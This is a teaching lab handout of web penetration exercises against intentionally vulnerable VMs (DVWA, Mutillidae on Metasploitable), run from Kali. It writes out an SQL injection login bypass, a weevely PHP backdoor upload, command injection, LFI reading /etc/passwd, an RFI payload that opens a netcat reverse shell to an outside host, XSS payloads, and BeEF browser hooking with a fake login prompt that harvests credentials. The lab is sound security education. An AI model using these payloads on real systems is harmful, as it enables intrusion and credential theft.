Lab 9

Various Web Penetration Exercises

1. SQL Injection

   To use Mutillidae properly, type `sudo nano /var/www/mutillidae/config.inc` at the terminal of your Meta2 VM, and change `$dbname` to `'owasp10'`.

   You will perform SQL Injection on http://<Meta2_IP>/mutillidae. On your Kali VM, visit the website (http://<Meta2_IP>/mutillidae) using the web browser. Then try to login using SQL injection. (Click "Login/Register" on the menu bar of the Mutillidae page.)'

   During the lecture, we saw that by entering `admin` in the username field and `123' or 1=1#'` in the password field, one can log into the system successfully.

   Note that the SQL Statement: `SELECT * FROM accounts WHERE username ='admin' and password ='123' or 1=1#'`was formed and the attacker was able to login without knowing the admin password.

   In fact, we don't even have to know the username `admin` nor provide `123' or 1=1#'` as a password. Can you work out a solution? (That is, what should we put as username in order not to put anything as password?)

2. File Upload vulnerability

   First, we need to generate a backdoor. On Kali, type and run:
   `weevely generate <your_password> shell.php`

   Now, enter Meta_IP to your browser on Kali. (As Metasploitable is always running a web server, you can connect it through your browser on Kali.)

   Select DVWA and open DVWA's page on the browser. Enter `admin` and `password` for username and password, respectively. From the left panel, select "DVWA Security" and choose "low" and

   Upload the PHP shell (`shell.php`) by clicking "Upload" button on the left panel. Then, on the Kali terminal, type and run `weevely http://<MetasploitableIP>/dvwa/hackable/uploads/shell.php <password>`

   What happens? Run any Unix commands.

3. Command Execution vulnerability

   Make sure the security setting of DVWA is still "low".
   Select "Command Execution" on the left panel. Enter any IP in the field of "Ping for FREE" section. It may look like a regular web-based ping service.

   Then enter any IP followed by `;pwd` (Unix command executions can be sequenced by putting ;) Concatenate another Unix command. Note that those Unix commands are executed one by one.

   Try to create a reverse shell (from Meta to Kali) using this vulnerability and netcat.

4. Local File Inclusion (LFI) vulnerability

   Click "File Inclusion" on the left panel of the DVWA page. On the URL field, modify the path after `?page=` to `/etc/passwd` What can you see on the browser?

   Try to access other files like `/etc/updatedb.conf` or `/etc/vsftpd.conf`

5. Remote File Inclusion (RFI) vulnerability

   Login to Meta2 VM and type `sudo nano /etc/php5/cgi/php.ini` (This is the PHP configuration file on Metasploitable.) Then, change the status of `allow_url_fopen` and `allow_url_include` to `On`. (You may want to use ctrl-w to look for a string on nano.) Save your php.ini and exit. Then, run `sudo /etc/init.d/apache2 restart` to restart the web server.

   Then, move to your Kali VM and create a *text* file called `rev_shell.txt` that contains the following PHP code:

```
<?php
   passthru("nc <Kali IP> 5555 -e /bin/bash");
?>
```

   Save it to `/var/www/html`. Then run apache2 server: `service apache2 start`. Also, open another terminal window and run `nc –v –l –p 5555`

   Now, open a browser and go to the DVWA page (and change the security level to "low" in DVWA Security if necessary.) Note that the username and password for the DVWA page is `admin` and `password`, respectively. Then, click "File Inclusion" then modify the URL to `?page=http://<kali IP>/rev_shell.txt`

   We have a created a reverse shell of Metasploitable on Kali VM. Try any Unix commands such as `ls`.

Note that the file type that has a php code is txt not php. If you use php as a file type the code *will be run on Kali* (not on Metasploitable) and we will not get a reverse shell we want.

6. Stored Cross-Site Scripting (XSS) vulnerability using DVWA

   We will try the basic XSS using DVWA. A Javascript code will be stored on a particular page and will be executed on the client's machine whenever the page is accessed.

   Connect to the DVWA page running on Meta2 VM. On DVWA, select "XSS reflected". On the textbox of Name, enter `<script>alert("You're hacked!")</script>` and click "Submit". What is happening? You can cut and paste the current address in the URL bar and hit enter. What is happening?

   Now, on DVWA, select "XSS stored". On the textbox of Name, enter arbitrary name and on the textbox of Message enter `<script>alert("You're hacked!")</script>` and hit the "Sign Guestbook" button.

   Click other buttons on the left panel and click "XSS stored" again. What happens?

7. Installing and running BeEF

   Before installing turn off your web server on Kali: `sudo service apache2 stop.`

   ```
   # sudo apt update
   # sudo apt install beef-xss
   ```

   BeEF is a "browser exploitation framework", which is to attack the target's web browser by hooking it through injecting Javascript code. The hook code can be placed in a HTML page. If a victim visits a specific web site that contains this hook code, his/her browser will be hooked and further exploited. That is, BeFF is based on XSS.

   First change username and password in `config.yaml` from `/etc/beef-xss`.

   To launch BeEF, type `sudo beef-xss` on terminal. The browser will open automatically. Once the BeEF page is loaded, enter the username and the password you entered in `config.yaml`.

   Explore some panels. On the left panel, there is a "Hooked Browsers" section. The victim's browser hooked by your BeEF will appear here.

To hook a browser, we need to place a hook Javascript code in Kali's `index.html` (which is in /var/www/html/) Open index.html and insert the following code after <head>:
`<script src="http://kaliIP:3000/hook.js"> </script>`

In other words, index.html should be modified as follows. (Warning: 10.0.2.15 is my Kali IP. You should change it to yours.)

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <script src="http://10.0.2.15:3000/hook.js"></script>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>Apache2 Debian Default Page: It works</title>
    <style type="text/css" media="screen">
```

Then, run your web server: `sudo service apache2 start.`

Start Ubuntu VM and open a browser and go to `http://<your kali IP>`. Come back to Kali VM and see what happens in BeEF UI.

8. Using various BeEF "Commands"

Once you hooked the victim's browser, which appears in "Online Bowsers", click the victim's IP and then "Commands" panel on your BeEF page.

On search window, enter `alert`. You will get "Create Alert Dialog". In the dialog box, type in anything and see what happens on the browsers visiting your website from Ubuntu.

On search window, enter `redirect`. You will get "Redirect Browser". In the dialog box, type in any URL and see what happens on the browsers visiting your website from Ubuntu.

Now, on search window, enter `pretty theft`. You will get "Pretty Theft". Choose any Dialog Type (YouTube, for example) and see what happens on the browsers visiting your website from Ubuntu. Enter username and password on the browser on Ubuntu. Come back to Kali and check "Module Results History" on the BeEF page.